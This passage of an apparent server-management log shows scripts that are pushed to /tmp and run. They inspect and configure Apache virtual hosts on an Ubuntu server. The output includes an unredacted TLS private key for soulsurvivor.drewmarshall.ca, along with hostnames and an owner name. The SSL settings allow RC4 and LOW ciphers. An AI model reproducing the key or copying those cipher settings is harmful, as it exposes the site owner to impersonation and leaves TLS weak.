ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi
2025-09-01 06:00:19:
chmod 755 /tmp/pkp777467; /tmp/pkp777467; rm /tmp/pkp777467
2025-09-01 06:00:19:
2025-09-01 06:00:19:
PUT: /tmp/pkp873999
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-01 06:00:19:
chmod 755 /tmp/pkp873999; /tmp/pkp873999; rm /tmp/pkp873999
2025-09-01 06:00:19:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-01 06:00:19: Establishing a connection
2025-09-01 06:00:19:
PUT: /tmp/pkp374831
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-01 06:00:19:
chmod 755 /tmp/pkp374831; /tmp/pkp374831; rm /tmp/pkp374831
2025-09-01 06:00:19:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
alias www.drewmarshall.ca
port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
alias www.hillrunfarm.ca
port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
alias www.ineedtosaythis.com
port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-01 06:00:19:
PUT: /tmp/pkp390989
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-01 06:00:19:
chmod 755 /tmp/pkp390989; /tmp/pkp390989; rm /tmp/pkp390989
2025-09-01 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 1429
<VirtualHost *:80>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName soulsurvivor.drewmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
DocumentRoot /var/www/drewmarshall_soulsurvivor
<Directory /var/www/drewmarshall_soulsurvivor>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
ErrorLog /var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-01 06:00:19:
PUT: /tmp/pkp698119
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-01 06:00:19:
chmod 755 /tmp/pkp698119; /tmp/pkp698119; rm /tmp/pkp698119
2025-09-01 06:00:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt 5385
d1:87:83:6f:e6:27:5c:ec:3d:32:21:15:1c:ec:12:66
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBaghg5AYzwokZt/ZCe/gx6agMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTAxMDUwMTQ4WhcNMjUxMTMwMDUwMTQ3WjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAqRd0rZmlG04oX/OsGZjk0Muce4k+hmF+4bd358zr64Oj
8B/320IWLb885i436teXcyrLDJE2VBScZkzvzZu7TaMw4mzRIdn36gzHTQsXbmhh
6Pwad2htuOzTnpn1v4pZQ+o4qijk8pGeA2hDBOlE60s+DCX6UFE/XbgnPCbeR629
LLeDepT30k5A0/zEvd+4UK7mVvN++aNw3/DJc60gJsVDRHPYPUABxVhYZUgqOdXr
yZb8oGsCHCv9eRRd/APVjG4zjiEo48XkN45Ebnq0yD1WHgByCX3ik8iuII1r25q2
bf7xhWvsdlQ92/M1HNTxzo9fGQs96BsU0pjxP6UuXQIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTpJqrtqHTIWs8CgoTl2lkbt0FyMjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zMy5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8O
Qh60fk6qNAAAAZkD3K5DAAAEAwBHMEUCIQDAKFK1YqiDeJVZiEZqrnqW5xwiD5kY
n0OP9pWa2T/vugIgOaCfyYgiZgcJK2vNka0/t0MdM87loJtaRdSRS7mxbEUAdgAa
BP9J0FQdQK/2oMO/8djEZy9O7O4jQGiYaxdALtyJfQAAAZkD3K6TAAAEAwBHMEUC
IBxHkIPW0sYQWsZ8dbjYpRB715TUnNI7O5DwkEP9xxzJAiEAqXC4Kt/xVSZgAPYW
outC8VIs7CiC/7vQ7As6l4zdyrwwDQYJKoZIhvcNAQELBQADggEBAIjO3KJEzTtx
2keFUVPjd5I2MIzKRekTw9/mG4iFB5+/OuwwyiYL9P3j1bUr5hJaxDeXHKMZH3EO
6RFMCY3klWfIqlM9BEZzMyvJcpzDcmNSDJZM4B+tQbU5p8+drTHWAnGEinmqPv5l
onY+eCNNic1gp7h2VaQtq8NFA0lO/y3uQlxFF8SHi4f8T1E7EwQXqCRDzABx5IA2
1qzgAE5iD0H3QDnw9mxN6i7dXOhV6ksaS6+2jRdNUKUseeBIx/qXUKvbqaPjixxG
y57/M0R47ydbdEfakmFHBZAneXdgKEeq/MkTYV4n/YhzYowr/Ud4XBtyA0NCE6+l
VQBshUpmqLY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCpF3StmaUbTihf
86wZmOTQy5x7iT6GYX7ht3fnzOvrg6PwH/fbQhYtvzzmLjfq15dzKssMkTZUFJxm
TO/Nm7tNozDibNEh2ffqDMdNCxduaGHo/Bp3aG247NOemfW/illD6jiqKOTykZ4D
aEME6UTrSz4MJfpQUT9duCc8Jt5Hrb0st4N6lPfSTkDT/MS937hQruZW8375o3Df
8MlzrSAmxUNEc9g9QAHFWFhlSCo51evJlvygawIcK/15FF38A9WMbjOOISjjxeQ3
jkRuerTIPVYeAHIJfeKTyK4gjWvbmrZt/vGFa+x2VD3b8zUc1PHOj18ZCz3oGxTS
mPE/pS5dAgMBAAECggEASQjjkbQid2fL0p36QNgkRPcdMNK32e00k6PeO5XsdL5Y
SfhU4zRpRfsq/7UI2/ug49Kg/12dXLXGU/15OpLAVSlejP45Wmi+Ry6byvA2f67A
U5TIjbjiY5SPVxri5YeJROde8EhXk1pIKOqYv/9NkF/gffjNZHGjcASBld6n9ccl
/usQuaeegoNDSQgj0JBp+7QZ1j6gm2c9N+lCHGq1UY7yyvwf1SF/Oi7jMwKCuh8r
YvwG+RJnI6uQY5BacD/c/KBIDkMcQs3BKWHzUhKpm6zuvRswlqZGzUPSSx1IrZjm
UkPjejY+JRFTEBzVTxGS4BbZm3IBHNpiRiD0l90foQKBgQDg5YTpNBCpuV6rAtnd
n4qIuB6Vy/obNDiEw+a1zpPrMQ+/bRwrbSqFwCl/gaCR6rIVwPLwwlkHR4/9KLV8
glyaakvk9xJSSC2K9aH8ycGqxM/nhbMTk5CX8bQf+j6jWIOp9oTz7N77NytGkKan
ps5m2IPXME5zw7eHKaIDUpAbeQKBgQDAeiiKTDq0uV+Hq4Bs0r5SsYhZ7Vaav15r
FOrrxjDlDBlMzUS/jI+I9KQauCOWIgfsMH4eEk/yANFShR/2tqHWvBwPiFCy5294
sTIU8brlXYHCLSvUI4NN6T1RuGBZFfIImDHZ8dm/Tfp4nXZEcW6zGaAc0ex41N9H
cKpb4YuNBQKBgB6AAh5+aSQbd7NJl7JuyKLyFXPLTggSdPfMeaV+dqEW7kPP0Foz
W+j3vqkEM3qWkcBRgqEUOm66TdTPiI1yQIzQjapnt5xhHYwS8/0Mf69hMbD8eOTW
xm1U4lDT51rPzktmm3FZVoRLXxsa0v85qBRamMa+TmV0zZcPFmHM+K5BAoGATzq5
r1v7mmLoCO+2uJTzVRTRHLtOt/poQknk/dKiU9ZsH6orT3Hrr6OMXZdIxscRXc8E
Sxqcn/BoOcCkzKiW686Y+mfRWCNeRl8iT27F0R5xiF2Rugw4Q3zsCdSMjH81FwaX
FrCwQkg1/ypKAZhzyfOVbeeXoJF3q2+cIKAyEoUCgYAdpjvnmQ4hD8FzFgUBlfbT
MiygnboIWrAxC+v+JqzGcTF7KyDJDIr7wV3IUgyujiAKbljNQoOEjitwXixPMexS
yWNIpbIRX14ZPXUH2aZ+ozvthYRdfwSeYHM7fbvJdM/0ghUZFmkrHnL6vsPRgX1N
2gP5JlYrBX/JEEs+c6IbBg==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-04 14:49:47: Establishing a connection
2025-09-04 14:50:06: Establishing a connection
2025-09-04 14:50:07:
PUT: /tmp/pkp304622
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "sites-available/pjy_alive_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-04 14:50:08:
chmod 755 /tmp/pkp304622; /tmp/pkp304622; rm /tmp/pkp304622
2025-09-04 14:50:08:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/pjy_alive_us.conf 0
2025-09-04 14:50:08:
PUT: /tmp/pkp714695
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=sites-available/pjy_alive_us.conf
DOCROOT=/var/www/pjy_alive
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/pjy
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "../sites-available/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf'
echo 'file(/etc/apache2/sites-available/pjy_alive_us.conf= 1'
fi
2025-09-04 14:50:09:
chmod 755 /tmp/pkp714695; /tmp/pkp714695; rm /tmp/pkp714695
2025-09-04 14:50:09:
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf
file(/etc/apache2/sites-available/pjy_alive_us.conf= 1
2025-09-04 14:50:09:
PUT: /tmp/pkp200461
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-04 14:50:09:
chmod 755 /tmp/pkp200461; /tmp/pkp200461; rm /tmp/pkp200461
2025-09-04 14:50:09:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-04 14:50:09: Performing Server Status
2025-09-04 14:50:09:
PUT: /tmp/pkp296994
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-09-04 14:50:10:
chmod 755 /tmp/pkp296994; /tmp/pkp296994; rm /tmp/pkp296994
2025-09-04 14:50:10:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 1280 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-79-generic
2025-09-04 14:50:10:
PUT: /tmp/pkp210031
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-09-04 14:50:10:
chmod 755 /tmp/pkp210031; /tmp/pkp210031; rm /tmp/pkp210031
2025-09-04 14:50:11:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
